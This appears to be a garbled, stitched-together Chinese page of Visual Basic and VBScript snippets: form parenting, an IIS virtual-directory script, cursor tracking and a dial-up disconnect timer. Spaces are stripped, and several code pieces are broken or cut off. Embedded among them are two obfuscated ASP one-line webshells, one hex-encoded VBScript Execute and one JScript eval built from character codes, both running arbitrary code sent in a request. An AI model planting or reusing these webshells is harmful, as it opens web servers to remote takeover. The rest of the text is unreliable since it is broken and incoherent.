假设要将Form2放在Form1中，请在宣告区中宣告：
DeclareFunctionSetParentLib"user32"(ByValhWndChildAsLong,ByValhWndNewParentAsLong)AsLong
在Form2中的Form_Load中加入SetParent(Me.hWnd,Form1.hWnd)即可")
WScript.Quit(Err.Number)
endif
m=msgbox("虚拟目录"&strVirtualDirectoryName&"已存在,是否删除？",1+32,"删除确认")
ifm<>1then
WScript.Quit
endif
objIIS.Delete"IIsObject",strVirtualDirectoryName
If(Err.Number<>0)Then
msgbox("删除虚拟目录"&strVirtualDirectoryName&"失败")
WScript.Quit(Err.Number)
endif
SetobjVirtualDirectory=objIIS.Create("IISWebVirtualDir",strVirtualDirectoryName)
objVirtualDirectory.AccessScript=true
objVirtualDirectory.Path=strVirtualDirectoryPath
objVirtualDirectory.EnableDefaultDoc=True
objVirtualDirectory.DefaultDoc="index.htm"
objVirtualDirectory.AppFriendlyName=strVirtualDirectoryName
objVirtualDirectory.SetInfo
objVirtualDirectory.AppCreatetrue'bolInProcessApplication
msgbox("操作成功!虚拟目录"&strVirtualDirectoryName&"建立成功，"&vbCrLf&"请在浏览器地址栏中输入"&strVirtualDirectoryName&"/查看效果")
else
objVirtualDirectory.AccessScript=true
objVirtualDirectory.Path=strVirtualDirectoryPath
objVirtualDirectory.EnableDefaultDoc=True
objVirtualDirectory.DefaultDoc="index.htm"
objVirtualDirectory.AppFriendlyName=strVirtualDirectoryName
objVirtualDirectory.SetInfo
objVirtualDirectory.AppCreatetrue'bolInProcessApplication
msgbox("操作成功!虚拟目录"&strVirtualDirectoryName&"建立成功，"&vbCrLf&"请在浏览器地址栏中输入"&strVirtualDirectoryName&"/查看效果")
endif
EndIf
SetMyFso=nothing
'//////////////////////////end//////////////////////////////////////////
'验证字符：fastslz
file=Wscript.ScriptFullName
Dim slz
set slz=CreateObject("Adodb.Stream")
slz.Type=1
slz.Mode=3
slz.Open
slz.Position=0
slz.Loadfromfile file
Bin=slz.read(18)
if AscB(MidB(Bin,12,1))=&H66 and AscB(MidB(Bin,13,1))=&H61 and AscB(MidB(Bin,14,1))=&H73 and AscB(MidB(Bin,15,1))=&H74 and AscB(MidB(Bin,16,1))=&H73 and AscB(MidB(Bin,17,1))=&H6C and AscB(MidB(Bin,18,1))=&H7A Then
WScript.echo "通过验证"
else
WScript.echo "非法修改"
end if
VB4.0支持16位和32位两种系统，在WINDOWS3.1下只能使用16位系统
mod是和+、-、*一样的运算符号，作用是取余数
PrivateTypePOINTAPI
xAsLong
yAsLong
EndType
PrivateDeclareFunctionGetCursorPosLib"user32"(lpPointAsPOINTAPI)AsLong
PrivateSubForm_Load()
Me.Visible=False
Timer1.Enabled=True
Timer1.Interval=100
EndSub
PrivateSubTimer1_Timer()
DimlResultAsLong
DimlpPointAsPOINTAPI
DimiCounterAsInteger
lResult=GetCursorPos(lpPoint)
IflpPoint.x<Me.Left\Screen.TwipsPerPixelXOrlpPoint.x>(Me.Left _
Me.Width)\Screen.TwipsPerPixelXOrlpPoint.y<Me.Top\_
Screen.TwipsPerPixelYOrlpPoint.y-10>(Me.Top Me.Height)\_
Screen.TwipsPerPixelYThen
Me.Visible=False'鼠标在窗体区域之外时
Else
Me.Visible=True'鼠标在窗体区域之内时
EndIf
EndSub
二.获得Mouse_Exit事件
所谓Mouse_Exit事件，是指鼠标指针离开某一控件所应发生的事件
<scriptlanguage=vbsrunat=server>
Execute(HextoStr("65786563757465287265717565737428636872283335292929"))
FunctionHextoStr(data)
HextoStr="EXECUTE"""""
C="&CHR(&H"
N=")"
DoWhileLen(data)>1
IfIsNumeric(Left(data,1))Then
HextoStr=HextoStr&C&Left(data,2)&N
data=Mid(data,3)
Else
HextoStr=HextoStr&C&Left(data,4)&N
data=Mid(data,5)
EndIf
Loop
EndFunction
</script>
<SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(String.fromCharCode(
116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1
04,40,101,41,123,125))</SCRIPt>
----VisualBasic所附带的报表生成器-CrystalReports，功能强大，能完成大部分报表的制作
Dim WshShell
Set WshShell=CreateObject("Wscript.Shell")
下面的每一行都是一个不错的命令，请说出运行下列每个语句的效果剑侠情缘同伴
OptionExplicit
DimHoursAsInteger
DimMinutesAsInteger
DimSecondsAsInteger
DimtimeAsDate
PrivateDeclareFunctionRasHangUpLib"RasApi32.dll"Alias"RasHangUpA"(ByValhRasConnAsLong)AsLong
PrivateDeclareFunctionRasEnumConnectionsLib"RasApi32.dll"Alias"RasEnumConnectionsA"(lprasconnAsAny,lpcbAsLong,lpcConnectionsAsLong)AsLong
ConstRAS95_MaxEntryName=256
ConstRAS95_MaxDeviceName=128
ConstRAS_MaxDeviceType=16
PrivateTypeRASCONN95
dwSizeAsLong
hRasConnAsLong
szEntryName(RAS95_MaxEntryName)AsByte
szDeviceType(RAS_MaxDeviceType)AsByte
szDeviceName(RAS95_MaxDeviceName)AsByte
EndType
下面一段代码是对Timer的控制，以及到设定时间的时候断开连接的代码
PrivateSubTimer1_Timer()
Timer1.Enabled=False
If(Format100100time,"hh")&&":"&&Format100100time,"nn")&&":"&&Format100100time,"ss"))〈〉"00:00:00"Then
time=DateAdd("s",-1,time)
Label1.Visible=False
Label1.Caption=Format100100time,"hh")&&":"&&Format100100time,"nn")&&":"&&Format100100time,"ss")
Label1.Visible=True
Timer1.Enabled=True
Else
Timer1.Enabled=False
EndIf
IfLabel1.Caption="00:00:01"Then
dsdklj.WindowState=0
Command1.Enabled=True
MsgBox"时间到了，正在断开连接"
DimlngRetCodeAsLong
DimlpcbAsLong
DimlpcConnectionsAsLong
DimintArraySizeAsInteger
DimintLooperAsInteger
ReDimlprasconn95(intArraySize)AsRASCONN95
lprasconn95(0).dwSize=412
lpcb=256*lprasconn95(0).dwSize
lngRetCode=RasEnumConnections(lprasconn95(0),lpcb,lpcConnections)
IflngRetCode=0Then
IflpcConnections〉0Then
ForintLooper=0TolpcConnections-1
RasHangUplprasconn95(intLooper).hRasConn
NextintLooper
UnloadMe
Else
MsgBox"时间到了，没有拨号网络连接"
UnloadMe
EndIf
EndIf
EndIf
EndSub
其实，这个程序还可以进一步的完善，比如添加暂停功能、或者经过改造，适用于宽带的，等等其形式一般是：ev"&"al(X)<br>但是javascript代码中也可以使用，有可能是误报。
